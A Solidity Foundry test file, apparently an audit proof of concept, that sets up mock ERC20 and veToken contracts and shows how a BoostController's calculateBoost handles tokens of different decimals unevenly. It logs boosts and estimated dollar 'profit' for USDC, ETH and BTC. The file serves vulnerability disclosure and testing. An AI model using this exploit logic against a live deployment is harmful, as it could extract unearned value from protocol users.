pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../contracts/core/governance/boost/BoostController.sol";
* @title MockERC20
* @notice Mock ERC20 token with configurable decimals
*/
contract MockERC20 is ERC20 {
uint8 private immutable _decimals;
constructor(string memory name_, string memory symbol_, uint8 decimals_) ERC20(name_, symbol_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
* @title MockVeToken
* @notice Mock veToken for testing boost calculations
*/
contract MockVeToken is ERC20, IveRAACToken {
mapping(address => IveRAACToken.LockPosition) public lockPositions;
uint256 public totalVotingPower;
constructor() ERC20("Mock veToken", "veTOKEN") {}
function getLockPosition(address account) external view override returns (IveRAACToken.LockPosition memory) {
return lockPositions[account];
}
function getVotingPower(address account, uint256) external view override returns (uint256) {
return balanceOf(account);
}
function getVotingPower(address account) external view override returns (uint256) {
return balanceOf(account);
}
function getTotalVotingPower() external view override returns (uint256) {
return totalSupply();
}
function setLockPosition(address user, uint256 amount, uint256 end) external {
lockPositions[user] = IveRAACToken.LockPosition({
amount: amount,
end: end,
power: amount
});
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function transfer(address to, uint256 amount) public virtual override(ERC20, IveRAACToken) returns (bool) {
return super.transfer(to, amount);
}
function transferFrom(address from, address to, uint256 amount) public virtual override(ERC20, IveRAACToken) returns (bool) {
return super.transferFrom(from, to, amount);
}
function lock(uint256 amount, uint256 duration) external override {}
function extend(uint256 duration) external override {}
function withdraw() external override {}
function increase(uint256 amount) external override {}
function getUnlockTime(address) external pure returns (uint256) { return 0; }
function getVotes(address) external pure returns (uint256) { return 0; }
function delegates(address) external pure returns (address) { return address(0); }
function delegate(address) external {}
function delegateBySig(address, uint256, uint256, uint8, bytes32, bytes32) external {}
function getPastVotes(address, uint256) external pure returns (uint256) { return 0; }
function getPastTotalSupply(uint256) external pure returns (uint256) { return 0; }
function getPastVotingPower(address, uint256) external pure returns (uint256) { return 0; }
function getPastTotalVotingPower(uint256) external pure returns (uint256) { return 0; }
function calculateVeAmount(uint256, uint256) external pure override returns (uint256) { return 0; }
function setMinter(address) external override {}
}
* @title DecimalExploitTest
* @notice Demonstrates the vulnerability in boost calculations when handling tokens with different decimals
* @dev Shows how the same veToken balance can result in different effective boosts due to decimal precision
*/
contract DecimalExploitTest is Test {
BoostController public boostController;
MockVeToken public veToken;
MockERC20 public usdcToken;
MockERC20 public ethToken;
MockERC20 public btcToken;
address public user = address(0x1);
address public admin = address(0x2);
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
function setUp() public {
usdcToken = new MockERC20("USDC", "USDC", 6);
ethToken = new MockERC20("ETH", "ETH", 18);
btcToken = new MockERC20("BTC", "BTC", 8);
veToken = new MockVeToken();
vm.prank(admin);
boostController = new BoostController(address(veToken));
vm.startPrank(admin);
boostController.grantRole(MANAGER_ROLE, admin);
boostController.modifySupportedPool(address(usdcToken), true);
boostController.modifySupportedPool(address(ethToken), true);
boostController.modifySupportedPool(address(btcToken), true);
vm.stopPrank();
veToken.mint(user, 1000e18);
veToken.setLockPosition(address(boostController), 1000e18, block.timestamp + 365 days);
}
function test_DecimalExploitDemo() public {
vm.startPrank(user);
uint256 oneUSDC = 1e6;
uint256 oneETH = 1e18;
uint256 oneBTC = 1e8;
console2.log("=== Decimal Vulnerability Demonstration ===");
console2.log("User veToken balance: %s", veToken.balanceOf(user) / 1e18);
console2.log("");
(uint256 usdcBoost, uint256 usdcBoostedAmount) = boostController.calculateBoost(user, address(usdcToken), oneUSDC);
(uint256 ethBoost, uint256 ethBoostedAmount) = boostController.calculateBoost(user, address(ethToken), oneETH);
(uint256 btcBoost, uint256 btcBoostedAmount) = boostController.calculateBoost(user, address(btcToken), oneBTC);
uint256 usdcMultiplier = (usdcBoostedAmount * 10000) / oneUSDC;
uint256 ethMultiplier = (ethBoostedAmount * 10000) / oneETH;
uint256 btcMultiplier = (btcBoostedAmount * 10000) / oneBTC;
console2.log("=== USDC (6 decimals) ===");
console2.log("Input amount: 1 USDC");
console2.log("Boost basis points: %s", usdcBoost);
console2.log("Boosted amount: %s USDC", usdcBoostedAmount / 1e6);
console2.log("Effective multiplier: %sx", usdcMultiplier / 10000);
console2.log("");
console2.log("=== ETH (18 decimals) ===");
console2.log("Input amount: 1 ETH");
console2.log("Boost basis points: %s", ethBoost);
console2.log("Boosted amount: %s ETH", ethBoostedAmount / 1e18);
console2.log("Effective multiplier: %sx", ethMultiplier / 10000);
console2.log("");
console2.log("=== BTC (8 decimals) ===");
console2.log("Input amount: 1 BTC");
console2.log("Boost basis points: %s", btcBoost);
console2.log("Boosted amount: %s BTC", btcBoostedAmount / 1e8);
console2.log("Effective multiplier: %sx", btcMultiplier / 10000);
console2.log("");
uint256 largeUSDC = 1_000_000e6;
uint256 largeETH = 1_000e18;
uint256 largeBTC = 100e8;
(uint256 largeUsdcBoost, uint256 largeUsdcBoostedAmount) = boostController.calculateBoost(user, address(usdcToken), largeUSDC);
(uint256 largeEthBoost, uint256 largeEthBoostedAmount) = boostController.calculateBoost(user, address(ethToken), largeETH);
(uint256 largeBtcBoost, uint256 largeBtcBoostedAmount) = boostController.calculateBoost(user, address(btcToken), largeBTC);
console2.log("=== Impact with Larger Amounts ===");
console2.log("1M USDC boost: %s (effective: %sx)", largeUsdcBoost, (largeUsdcBoostedAmount * 10000 / largeUSDC) / 10000);
console2.log("1K ETH boost: %s (effective: %sx)", largeEthBoost, (largeEthBoostedAmount * 10000 / largeETH) / 10000);
console2.log("100 BTC boost: %s (effective: %sx)", largeBtcBoost, (largeBtcBoostedAmount * 10000 / largeBTC) / 10000);
uint256 usdcValue = largeUsdcBoostedAmount - largeUSDC;
uint256 ethValue = ((largeEthBoostedAmount - largeETH) * 2000) / 1e18;
uint256 btcValue = ((largeBtcBoostedAmount - largeBTC) * 40000) / 1e8;
console2.log("");
console2.log("=== Economic Impact (Extra Value from Boost) ===");
console2.log("USDC profit: $%s", usdcValue / 1e6);
console2.log("ETH profit: $%s", ethValue);
console2.log("BTC profit: $%s", btcValue);
console2.log("");
console2.log("This demonstrates how the same veToken balance can result in significantly");
console2.log("different boost effects due to improper decimal handling.");
vm.stopPrank();
}
}